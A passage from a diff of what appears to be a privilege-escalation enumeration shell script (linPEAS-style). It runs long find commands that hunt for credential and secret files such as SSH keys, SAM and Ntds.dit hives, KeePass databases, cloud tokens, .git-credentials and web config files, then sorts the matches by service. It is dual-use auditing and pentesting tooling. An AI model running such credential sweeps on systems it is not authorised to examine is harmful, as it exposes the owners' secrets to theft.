\"kcpassword\" -o -name \"*.jks\" -o -name \"authorized_hosts\" -o -name \"wcx_ftp.ini\" -o -name \"filezilla.xml\" -o -name \"docker.socket\" -o -name \"zabbix_server.conf\" -o -name \".bashrc\" -o -name \".secrets.mkey\" -o -name \"my.ini\" -o -name \"*.sqlite3\" -o -name \".pypirc\" -o -name \"sites.ini\" -o -name \"krb5.conf\" -o -name \".sudo_as_admin_successful\" -o -name \"unattend.inf\" -o -name \"id_dsa*\" -o -name \"*.key\" -o -name \"anaconda-ks.cfg\" -o -name \"*.kdbx\" -o -name \"pagefile.sys\" -o -name \".erlang.cookie\" -o -name \"*config*.php\" -o -name \"agent*\" -o -name \"printers.xml\" -o -name \"KeePass.config*\" -o -name \"*credential*\" -o -name \"ConsoleHost_history.txt\" -o -name \"creds*\" -o -name \"php.ini\" -o -name \"sitemanager.xml\" -o -name \"software.sav\" -o -name \"https.conf\" -o -name \".rhosts\" -o -name \"sysprep.xml\" -o -name \"unattended.xml\" -o -name \"KeePass.enforced*\" -o -name \".ldaprc\" -o -name \"pgsql.conf\" -o -name \"sssd.conf\" -o -name \"*vnc*.txt\" -o -name \"*_history*\" -o -name \"*.pfx\" -o -name \"my.cnf\" -o -name \"*.psk\" -o -name \"ntuser.dat\" -o -name \"bash.exe\" -o -name \"hostapd.conf\" -o -name \"mongod*.conf\" -o -name \"000-default.conf\" -o -name \"iis6.log\" -o -name \"Ntds.dit\" -o -name \"protecteduserkey.bin\" -o -name \"ftp.config\" -o -name \"*.sqlite\" -o -name \"mosquitto.conf\" -o -name \"cloud.cfg\" -o -name \"software\" -o -name \"wsl.exe\" -o -name \"ffftp.ini\" -o -name \"ipsec.conf\" -o -name \"passwd\" -o -name \"id_rsa*\" -o -name \"psk.txt\" -o -name \".htpasswd\" -o -name \"*.db\" -o -name \"groups.xml\" -o -name \"SAM\" -o -name \"password*.ibd\" -o -name \"ftp.ini\" -o -name \"supervisord.conf\" -o -name \"*.p12\" -o -name \"*.gnupg\" -o -name \".recently-used.xbel\" -o -name \"*.pem\" -o -name \"legacy_credentials.db\" -o -name \"docker.sock\" -o -name \"access_tokens.db\" -o -name \"pgadmin*.db\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"jetty-realm.properties\" -o -name \"access_tokens.json\" -o -name \"authorized_keys\" -o -name \"SYSTEM\" -o -name \"sentry.conf.py\" -o -name \"kibana.y*ml\" -o -name \"database.php\" -o -name \"hosts.equiv\" -o -name \"AzureRMContext.json\" -o -name \"*.cer\" -o -name \".msmtprc\" -o -name \".gitconfig\" -o -name \"influxdb.conf\" -o -name \"system.sav\" -o -name \"*.rdg\" -o -name \"web*.config\" -o -name \"NetSetup.log\" -o -name \"accessTokens.json\" -o -name \"Dockerfile\" -o -name \"*.keystore\" -o -name \"RDCMan.settings\" -o -name \"backups\" -o -name \"vault-ssh-helper.hcl\" -o -name \"datasources.xml\" -o -name \"index.dat\" -o -name \"scheduledtasks.xml\" -o -name \"*.pgp\" -o -name \".github\" -o -name \"TokenCache.dat\" -o -name \"glusterfs.ca\" -o -name \"known_hosts\" -o -name \".git-credentials\" -o -name \"winscp.ini\" -o -name \"ws_ftp.ini\" -o -name \"wp-config.php\" -o -name \"*.csr\" -o -name \"secrets.yml\" -o -name \"storage.php\" -o -name \"*.viminfo\" -o -name \"*.der\" -o -name \"pg_hba.conf\" -o -name \"backup\" -o -name \"FreeSSHDservice.ini\" -o -name \"docker-compose.yml\" -o -name \"autologin\" -o -name \"secrets.ldb\" -o -name \"gvm-tools.conf\" -o -name \"*.service\" -o -name \"snmpd.conf\" -o -name \"settings.php\" -o -name \"tomcat-users.xml\" -o -name \"*.ftpconfig\" -o -name \"KeePass.ini\" -o -name \"config.php\" -o -name \"*vnc*.xml\" -o -name \".google_authenticator\" -o -name \"db.php\" -o -name \"sysprep.inf\" -o -name \"httpd.conf\" -o -name \".git\" -o -name \"credentials.db\" -o -name \"glusterfs.pem\" -o -name \"azureProfile.json\" -o -name \"rsyncd.secrets\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_USR=`eval_bckgrd "find /usr -name \"cesi.conf\" -o -name \"kadm5.acl\" -o -name \"scclient.exe\" -o -name \"*.timer\" -o -name \".vault-token\" -o -name \"appcmd.exe\" -o -name \"rktlet.sock\" -o -name \"*.gpg\" -o -name \"fastcgi_params\" -o -name \"zabbix_agentd.conf\" -o -name \".profile\" -o -name \"rocketchat.service\" -o -name \".env\" -o -name \"nginx.conf\" -o -name \"setupinfo\" -o -name \"pwd.ibd\" -o -name \"SecEvent.Evt\" -o -name \"access.log\" -o -name \"drives.xml\" -o -name \"passbolt.php\" -o -name \"glusterfs.key\" -o -name \"*.swp\" -o -name \"dockershim.sock\" -o -name \"AppEvent.Evt\" -o -name \"https-xampp.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"security.sav\" -o -name \".k5login\" -o -name \"redis.conf\" -o -name \"*.socket\" -o -name \"default.sav\" -o -name \"crio.sock\" -o -name \"rsyncd.conf\" -o -name \"unattend.xml\" -o -name \"*vnc*.ini\" -o -name \"passwd.ibd\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"server.xml\" -o -name \"elasticsearch.y*ml\" -o -name \"racoon.conf\" -o -name \"postgresql.conf\" -o -name \"containerd.sock\" -o -name \"*password*\" -o -name \"error.log\" -o -name \"autologin.conf\" -o -name \"debian.cnf\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \".wgetrc\" -o -name \"unattend.txt\" -o -name \"*.keytab\" -o -name \".lesshst\" -o -name \"gitlab.yml\" -o -name \"recentservers.xml\" -o -name \"ddclient.conf\" -o -name \"log4j-core*.jar\" -o -name \"*.ovpn\" -o -name \"frakti.sock\" -o -name \".plan\" -o -name \"kcpassword\" -o -name \"*.jks\" -o -name \"authorized_hosts\" -o -name \"wcx_ftp.ini\" -o -name \"filezilla.xml\" -o -name \"docker.socket\" -o -name \"zabbix_server.conf\" -o -name \".bashrc\" -o -name \".secrets.mkey\" -o -name \"my.ini\" -o -name \"*.sqlite3\" -o -name \".pypirc\" -o -name \"sites.ini\" -o -name \"krb5.conf\" -o -name \".sudo_as_admin_successful\" -o -name \"unattend.inf\" -o -name \"id_dsa*\" -o -name \"*.key\" -o -name \"anaconda-ks.cfg\" -o -name \"*.kdbx\" -o -name \"pagefile.sys\" -o -name \".erlang.cookie\" -o -name \"*config*.php\" -o -name \"printers.xml\" -o -name \"KeePass.config*\" -o -name \"*credential*\" -o -name \"ConsoleHost_history.txt\" -o -name \"creds*\" -o -name \"php.ini\" -o -name \"sitemanager.xml\" -o -name \"software.sav\" -o -name \"https.conf\" -o -name \".rhosts\" -o -name \"sysprep.xml\" -o -name \"unattended.xml\" -o -name \"KeePass.enforced*\" -o -name \".ldaprc\" -o -name \"pgsql.conf\" -o -name \"sssd.conf\" -o -name \"*vnc*.txt\" -o -name \"*_history*\" -o -name \"*.pfx\" -o -name \"my.cnf\" -o -name \"*.psk\" -o -name \"ntuser.dat\" -o -name \"bash.exe\" -o -name \"hostapd.conf\" -o -name \"mongod*.conf\" -o -name \"000-default.conf\" -o -name \"iis6.log\" -o -name \"Ntds.dit\" -o -name \"protecteduserkey.bin\" -o -name \"ftp.config\" -o -name \"*.sqlite\" -o -name \"mosquitto.conf\" -o -name \"cloud.cfg\" -o -name \"software\" -o -name \"wsl.exe\" -o -name \"ffftp.ini\" -o -name \"ipsec.conf\" -o -name \"passwd\" -o -name \"id_rsa*\" -o -name \"psk.txt\" -o -name \".htpasswd\" -o -name \"*.db\" -o -name \"groups.xml\" -o -name \"SAM\" -o -name \"password*.ibd\" -o -name \"ftp.ini\" -o -name \"supervisord.conf\" -o -name \"*.p12\" -o -name \"*.gnupg\" -o -name \".recently-used.xbel\" -o -name \"*.pem\" -o -name \"legacy_credentials.db\" -o -name \"docker.sock\" -o -name \"access_tokens.db\" -o -name \"pgadmin*.db\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"jetty-realm.properties\" -o -name \"access_tokens.json\" -o -name \"authorized_keys\" -o -name \"SYSTEM\" -o -name \"sentry.conf.py\" -o -name \"kibana.y*ml\" -o -name \"database.php\" -o -name \"hosts.equiv\" -o -name \"AzureRMContext.json\" -o -name \"*.cer\" -o -name \".msmtprc\" -o -name \".gitconfig\" -o -name \"influxdb.conf\" -o -name \"system.sav\" -o -name \"*.rdg\" -o -name \"web*.config\" -o -name \"NetSetup.log\" -o -name \"accessTokens.json\" -o -name \"Dockerfile\" -o -name \"*.keystore\" -o -name \"RDCMan.settings\" -o -name \"backups\" -o -name \"vault-ssh-helper.hcl\" -o -name \"datasources.xml\" -o -name \"index.dat\" -o -name \"scheduledtasks.xml\" -o -name \"*.pgp\" -o -name \".github\" -o -name \"TokenCache.dat\" -o -name \"glusterfs.ca\" -o -name \"known_hosts\" -o -name \".git-credentials\" -o -name \"winscp.ini\" -o -name \"ws_ftp.ini\" -o -name \"wp-config.php\" -o -name \"*.csr\" -o -name \"secrets.yml\" -o -name \"storage.php\" -o -name \"*.viminfo\" -o -name \"*.der\" -o -name \"pg_hba.conf\" -o -name \"backup\" -o -name \"FreeSSHDservice.ini\" -o -name \"docker-compose.yml\" -o -name \"autologin\" -o -name \"secrets.ldb\" -o -name \"gvm-tools.conf\" -o -name \"*.service\" -o -name \"snmpd.conf\" -o -name \"settings.php\" -o -name \"tomcat-users.xml\" -o -name \"*.ftpconfig\" -o -name \"KeePass.ini\" -o -name \"config.php\" -o -name \"*vnc*.xml\" -o -name \".google_authenticator\" -o -name \"db.php\" -o -name \"sysprep.inf\" -o -name \"httpd.conf\" -o -name \".git\" -o -name \"credentials.db\" -o -name \"glusterfs.pem\" -o -name \"ssh*config\" -o -name \"azureProfile.json\" -o -name \"rsyncd.secrets\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_VAR=`eval_bckgrd "find /var -name \"cesi.conf\" -o -name \"kadm5.acl\" -o -name \"scclient.exe\" -o -name \"*.timer\" -o -name \".vault-token\" -o -name \"appcmd.exe\" -o -name \"rktlet.sock\" -o -name \"*.gpg\" -o -name \"fastcgi_params\" -o -name \"zabbix_agentd.conf\" -o -name \".profile\" -o -name \"rocketchat.service\" -o -name \".env\" -o -name \"nginx.conf\" -o -name \"setupinfo\" -o -name \"sess_*\" -o -name \"pwd.ibd\" -o -name \"SecEvent.Evt\" -o -name \"access.log\" -o -name \"drives.xml\" -o -name \"passbolt.php\" -o -name \"glusterfs.key\" -o -name \"*.swp\" -o -name \"dockershim.sock\" -o -name \"AppEvent.Evt\" -o -name \"https-xampp.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"security.sav\" -o -name \".k5login\" -o -name \"redis.conf\" -o -name \"*.socket\" -o -name \"default.sav\" -o -name \"crio.sock\" -o -name \"rsyncd.conf\" -o -name \"unattend.xml\" -o -name \"*vnc*.ini\" -o -name \"passwd.ibd\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"server.xml\" -o -name \"elasticsearch.y*ml\" -o -name \"racoon.conf\" -o -name \"postgresql.conf\" -o -name \"containerd.sock\" -o -name \"*password*\" -o -name \"error.log\" -o -name \"autologin.conf\" -o -name \"debian.cnf\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \".wgetrc\" -o -name \"unattend.txt\" -o -name \"*.keytab\" -o -name \".lesshst\" -o -name \"gitlab.yml\" -o -name \"recentservers.xml\" -o -name \"ddclient.conf\" -o -name \"log4j-core*.jar\" -o -name \"*.ovpn\" -o -name \"frakti.sock\" -o -name \".plan\" -o -name \"kcpassword\" -o -name \"*.jks\" -o -name \"authorized_hosts\" -o -name \"wcx_ftp.ini\" -o -name \"filezilla.xml\" -o -name \"docker.socket\" -o -name \"zabbix_server.conf\" -o -name \".bashrc\" -o -name \".secrets.mkey\" -o -name \"my.ini\" -o -name \"*.sqlite3\" -o -name \".pypirc\" -o -name \"sites.ini\" -o -name \"krb5.conf\" -o -name \".sudo_as_admin_successful\" -o -name \"unattend.inf\" -o -name \"id_dsa*\" -o -name \"*.key\" -o -name \"anaconda-ks.cfg\" -o -name \"*.kdbx\" -o -name \"pagefile.sys\" -o -name \".erlang.cookie\" -o -name \"*config*.php\" -o -name \"printers.xml\" -o -name \"KeePass.config*\" -o -name \"*credential*\" -o -name \"ConsoleHost_history.txt\" -o -name \"creds*\" -o -name \"php.ini\" -o -name \"sitemanager.xml\" -o -name \"software.sav\" -o -name \"https.conf\" -o -name \".rhosts\" -o -name \"sysprep.xml\" -o -name \"unattended.xml\" -o -name \"KeePass.enforced*\" -o -name \".ldaprc\" -o -name \"pgsql.conf\" -o -name \"sssd.conf\" -o -name \"*vnc*.txt\" -o -name \"*_history*\" -o -name \"*.pfx\" -o -name \"my.cnf\" -o -name \"*.psk\" -o -name \"ntuser.dat\" -o -name \"bash.exe\" -o -name \"hostapd.conf\" -o -name \"mongod*.conf\" -o -name \"000-default.conf\" -o -name \"iis6.log\" -o -name \"Ntds.dit\" -o -name \"protecteduserkey.bin\" -o -name \"ftp.config\" -o -name \"*.sqlite\" -o -name \"mosquitto.conf\" -o -name \"cloud.cfg\" -o -name \"software\" -o -name \"wsl.exe\" -o -name \"ffftp.ini\" -o -name \"ipsec.conf\" -o -name \"passwd\" -o -name \"id_rsa*\" -o -name \"psk.txt\" -o -name \".htpasswd\" -o -name \"*.db\" -o -name \"groups.xml\" -o -name \"SAM\" -o -name \"password*.ibd\" -o -name \"ftp.ini\" -o -name \"supervisord.conf\" -o -name \"*.p12\" -o -name \"*.gnupg\" -o -name \".recently-used.xbel\" -o -name \"*.pem\" -o -name \"legacy_credentials.db\" -o -name \"docker.sock\" -o -name \"access_tokens.db\" -o -name \"pgadmin*.db\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"jetty-realm.properties\" -o -name \"access_tokens.json\" -o -name \"authorized_keys\" -o -name \"SYSTEM\" -o -name \"sentry.conf.py\" -o -name \"kibana.y*ml\" -o -name \"database.php\" -o -name \"hosts.equiv\" -o -name \"AzureRMContext.json\" -o -name \"*.cer\" -o -name \".msmtprc\" -o -name \".gitconfig\" -o -name \"influxdb.conf\" -o -name \"system.sav\" -o -name \"*.rdg\" -o -name \"web*.config\" -o -name \"NetSetup.log\" -o -name \"accessTokens.json\" -o -name \"Dockerfile\" -o -name \"*.keystore\" -o -name \"RDCMan.settings\" -o -name \"backups\" -o -name \"vault-ssh-helper.hcl\" -o -name \"datasources.xml\" -o -name \"index.dat\" -o -name \"scheduledtasks.xml\" -o -name \"*.pgp\" -o -name \".github\" -o -name \"TokenCache.dat\" -o -name \"glusterfs.ca\" -o -name \"known_hosts\" -o -name \".git-credentials\" -o -name \"winscp.ini\" -o -name \"ws_ftp.ini\" -o -name \"wp-config.php\" -o -name \"*.csr\" -o -name \"secrets.yml\" -o -name \"storage.php\" -o -name \"*.viminfo\" -o -name \"*.der\" -o -name \"pg_hba.conf\" -o -name \"backup\" -o -name \"FreeSSHDservice.ini\" -o -name \"docker-compose.yml\" -o -name \"autologin\" -o -name \"secrets.ldb\" -o -name \"gvm-tools.conf\" -o -name \"*.service\" -o -name \"snmpd.conf\" -o -name \"settings.php\" -o -name \"tomcat-users.xml\" -o -name \"*.ftpconfig\" -o -name \"KeePass.ini\" -o -name \"config.php\" -o -name \"*vnc*.xml\" -o -name \".google_authenticator\" -o -name \"db.php\" -o -name \"sysprep.inf\" -o -name \"httpd.conf\" -o -name \".git\" -o -name \"credentials.db\" -o -name \"glusterfs.pem\" -o -name \"azureProfile.json\" -o -name \"rsyncd.secrets\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_CONCOURSE_AUTH=`eval_bckgrd "find /concourse-auth -name \"*.timer\" -o -name \"*.service\" -o -name \"*.socket\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_CONCOURSE_KEYS=`eval_bckgrd "find /concourse-keys -name \"*.timer\" -o -name \"*.service\" -o -name \"*.socket\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + + + wait # Always wait at the end + CONT_THREADS=0 #Reset the threads counter +fi + +if [ "$SEARCH_IN_FOLDER" ] || echo $CHECKS | grep -q procs_crons_timers_srvcs_sockets || echo $CHECKS | grep -q software_information || echo $CHECKS | grep -q interesting_files; then #GENERATE THE STORAGES OF THE FOUND FILES - PSTORAGE_SYSTEMD=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/lib|^/system|^/snap|^/systemd|^/opt|^/sbin|^/tmp|^/lib32|^/media|^/usr|^/lib64|^$GREPHOMESEARCH|^/.cache|^/cdrom|^/sys|^/applications|^/run|^/mnt|^/var|^/private|^/etc|^/bin|^/srv" | grep -E ".*\.service$" | sort | uniq | head -n 70) - PSTORAGE_TIMER=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/lib|^/system|^/snap|^/systemd|^/opt|^/sbin|^/tmp|^/lib32|^/media|^/usr|^/lib64|^$GREPHOMESEARCH|^/.cache|^/cdrom|^/sys|^/applications|^/run|^/mnt|^/var|^/private|^/etc|^/bin|^/srv" | grep -E ".*\.timer$" | sort | uniq | head -n 70) - PSTORAGE_SOCKET=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/lib|^/system|^/snap|^/systemd|^/opt|^/sbin|^/tmp|^/lib32|^/media|^/usr|^/lib64|^$GREPHOMESEARCH|^/.cache|^/cdrom|^/sys|^/applications|^/run|^/mnt|^/var|^/private|^/etc|^/bin|^/srv" | grep -E ".*\.socket$" | sort | uniq | head -n 70) - PSTORAGE_DBUS=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E "^/etc" | grep -E "system\.d$" | sort | uniq | head -n 70) - PSTORAGE_MYSQL=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -v -E 'mysql/mysql' | grep -E '^/etc/.*mysql|/usr/var/lib/.*mysql|/var/lib/.*mysql' | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "mysql$" | sort | uniq | head -n 70) - PSTORAGE_MARIADB=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "mariadb\.cnf$|debian\.cnf$" | sort | uniq | head -n 70) - PSTORAGE_POSTGRESQL=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "pgadmin.*\.db$|pg_hba\.conf$|postgresql\.conf$|pgsql\.conf$" | sort | uniq | head -n 70) - PSTORAGE_APACHE=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32\n$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "sites-enabled$|000-default\.conf$|php\.ini$" | sort | uniq | head -n 70) - PSTORAGE_PHP_SESSIONS=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E '/tmp/.*sess_.*|/var/tmp/.*sess_.*' | grep -E "^/tmp|^/mnt|^/var|^/private" | grep -E "sess_.*$" | sort | uniq | head -n 70) - PSTORAGE_PHP_FILES=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E ".*config.*\.php$|database\.php$|db\.php$|storage\.php$|settings\.php$" | sort | uniq | head -n 70) - PSTORAGE_WORDPRESS=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "wp-config\.php$" | sort | uniq | head -n 70) - PSTORAGE_DRUPAL=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E '/default/settings.php' | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "settings\.php$" | sort | uniq | head -n 70) - PSTORAGE_MOODLE=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E 'moodle/config.php' | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "config\.php$" | sort | uniq | head -n 70) - PSTORAGE_TOMCAT=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "tomcat-users\.xml$" | sort | uniq | head -n 70) - PSTORAGE_MONGO=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "mongod.*\.conf$" | sort | uniq | head -n 70) - PSTORAGE_ROCKETCHAT=$(echo -e 